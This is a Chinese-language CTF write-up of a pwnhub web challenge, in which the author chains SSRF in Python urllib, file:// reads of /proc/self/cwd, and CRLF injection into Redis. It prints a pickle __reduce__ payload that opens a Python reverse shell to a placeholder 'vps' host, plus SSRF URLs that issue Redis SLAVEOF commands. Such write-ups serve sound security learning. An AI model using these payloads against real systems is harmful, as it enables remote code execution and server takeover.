pwnhub6月赛的不完整复现

Pwnhub 6月赛部分wp

前言

自闭48小时(rctf)之后才知道,pwnhub公开赛已经过了,所以来复现一下,尝试找找自信(暴论)。

知识点

  1. python的urllib漏洞 crlf和通过file协议泄露文件
  2. redis配合python反序列化getshell

挣扎过程

  1. 信息收集,先试试功能,注册,登录,爬虫,改用户信息。(后面出了点问题,图就意思下)
    image.png
    image.png

抓包查看cookie,Cookie=admin1ace05830b0e25fd0820fcca7f884900a明显是xxx+xxx加salt的MD5,一开始以为要越权之类的,但后面看来好像不是。

重点就是在爬虫功能这里,盲猜ssrf和redis。

打一下vps http://yourvps:nc端口,发现是python urllib 3.5,urllib不支持dict和gopher协议。

然后打127.0.0.1:6379 果然是redis。

试了下file协议读文件,发现可以读/etc/passwd,有一个/home/server的目录和/home/redis-db的目录,其中,redis没权限读。

读下/proc/self/cmdline

image.png

有个config.py的文件

后面由于在猜测目录名,没有猜到浪费了不少时间,直到查到了一个/proc/self/cwd的技巧,发现这是当前程序运行的目录最后读取config.py requirements.txt等文件。

image.png

根据cmdline读run.py文件,逐一dump源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

run.py

# -*- coding: utf-8 -*-
import pickle
from spider import Spider
from redis import StrictRedis
from flask import Flask, render_template, redirect, session, request, make_response, url_for, abort, render_template_string
from user import *
app = Flask(__name__)
redis = StrictRedis(host='127.0.0.1', port=6379, db=0)
@app.route('/')
def index():
cookie = request.cookies.get("Cookie")
return redirect(url_for("login"))


@app.route('/login/', methods=['GET', 'POST'])
def login():
if request.method != 'GET':
username = request.form.get('username')
password = request.form.get('password')
cookie = Cookie()
cookie.create = username
cookie = cookie.create
try:
if redis.exists(cookie):
user = pickle.loads(redis.get(cookie))
if user.verify_pass(password):
resp = make_response(redirect(url_for('home')))
resp.set_cookie('Cookie', cookie)
return resp
except:
abort(500)
return render_template("login.html")


@app.route('/register/', methods=['GET', 'POST'])
def register():
if request.method != 'GET':
email = request.form.get('email')
username = request.form.get('username')
password = request.form.get('password')
user = User(email, username, password)
cookie = Cookie()
cookie.create = username
cookie = cookie.create
try:
if not redis.exists(cookie):
redis.set(cookie, pickle.dumps(user))
resp = make_response(redirect(url_for('home')))
resp.set_cookie("Cookie", cookie)
return resp
except:
abort(500)
return render_template("register.html")


@app.route('/home/', methods=['GET', 'POST'])
def home():
cookie = request.cookies.get('Cookie')
try:
if Cookie.verify(cookie) and redis.exists(cookie):
user = redis.get(cookie)
user = pickle.loads(user)
if request.method != "GET":
formlist = request.form.to_dict()
User.modify_info(user, formlist)
redis.set(cookie, pickle.dumps(user))
return render_template("home.html", user=user)
except Excetion as e:
abort(500)
return redirect(url_for("login"))


@app.route('/spider/', methods=['GET', 'POST'])
def spider():
cookie = request.cookies.get('Cookie')
try:
if Cookie.verify(cookie) and redis.exists(cookie):
user = redis.get(cookie)
user = pickle.loads(user)
except:
return abort(500)
result = ''
if request.method == "GET":
result = ''
elif request.method != "GET" and request.form.get('url') != None:
try:
target_url = request.form.get('url')
new_spider = Spider(target_url)
result = new_spider.spiderFlag()
except Excetion as e:
result = e
return render_template("spider.html", result=str(result), user=user)


@app.route('/testSpider/')
def TSpider():
html = '<div id="flag">Flag{hahaha This is a test for tested Spider mode}</div>'
return render_template_string(html)


@app.route('/logout/')
def logout():
resp = make_response(redirect(url_for('login')))
resp.set_cookie('Cookie', '')
return resp


@app.errorhandler(500)
def error(e):
return render_template("error.html")


if __name__ == "__main__":
app.run(debug=True, port=5000, host="0.0.0.0")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
spider.py

import urllib
import urllib.request

from bs4 import BeautifulSoup


class Spider:
...

def __getResponse(self):
try:
info = urllib.request.urlopen(self.target_url).read().decode('utf-8')
return (info, True)
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
user.py

from hashlib import md5

# here put the import lib
class User(object):
def __init__(self,email,username,password):
self.email = email
self.username = username
self.password = md5(password.encode(encoding="utf8")).hexdigest()
self.phone = None
self.qqnumber = None
self.intro = None

def verify_pass(self,password):
if password and md5(password.encode(encoding="utf8")).hexdigest() == self.password:
return True
return None

@staticmethod
def modify_info(obj,dict):
for key in dict:
if hasattr(obj,key) and dict[key]!="":
setattr(obj,key,dict[key])



class Cookie(object):
__key = 'abcd'
def __init__(self):
__key = 'abcd'

@property
def create(self):
self.mix_str = (self.username+Cookie.__key).encode(encoding='utf8')
self.md5_str = self.username+md5(self.mix_str).hexdigest()
return self.md5_str

@create.setter
def create(self,username):
self.username = username

@staticmethod
def verify(verify_cookie):
if verify_cookie:
username = verify_cookie[:-32]
verify_str = verify_cookie[-32:]
return md5((username+Cookie.__key).encode(encoding='utf8')).hexdigest()==verify_str
return None
  1. 思路分析
    分析下不难发现,程序将用户的注册信息序列化后存储入redis,每次需要的时候反序列化。

而经过尝试,发现这种形式的crlf是有效的

url=http://127.0.0.1:6379?%0d%0acmd%0d%0apadding

所以解题思路就是通过ssrf来设置redis,每个用户的键名就是cookie值,用恶意代码替换正常的user反序列化对象,当恶意代码被加载时即可getshell。

  1. 操作时的坑点
    主要是直接设置反序列数据,会报一个unicode解码错误的错,这里就改变思路,尝试采用主从复制的思路来同步值。

具体就是提前在vps上设置对应的键值,然后用ssrf打slaveof来同步远程数据。但是由于种种原因,没成功,这里等一波最后的writeup。

设置远程redis键值的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
class Test:
def __init__(self):
self.a = 1

def __reduce__(self):
return (os.system, ("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"vps\",nc-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

·····

@app.route('/evil', methods=['GET'])
def evil():
redis1 = StrictRedis(host='vps', port=vps-redis-port, db=0)
redis1.set('admin3830585546754c330ffa52d7c09054ad2', pickle.dumps(Test()))
return render_template_string('<div>'+urllib.parse.quote(pickle.dumps(Test()))+'</div>')

然后 url=http://127.0.0.1:6379?%0d%0aSLAVEOF%20vpsip%20port%0d%0apadding

最后应该触发加载恶意代码即可。

总结

虽然说题目思路比较明确,但是实践起来坑还是不少,主要是学到了一个/proc/self/cwd跳过猜不到的目录(并且这里可以使用相对路径),然后就是用crlf设置这种值失败的时候,尝试使用主从复制来解决的思路。题目虽然不难,但是可以学的东西还是不少。